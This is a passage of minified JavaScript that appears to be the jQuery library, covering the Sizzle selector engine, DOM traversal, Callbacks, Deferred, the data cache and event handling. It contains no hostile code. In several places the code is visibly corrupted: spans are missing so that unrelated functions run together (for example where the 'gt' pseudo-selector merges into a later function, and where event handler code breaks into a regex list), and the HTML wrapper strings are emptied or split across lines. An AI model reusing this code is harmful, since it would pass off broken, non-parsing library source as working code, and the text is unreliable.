a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var 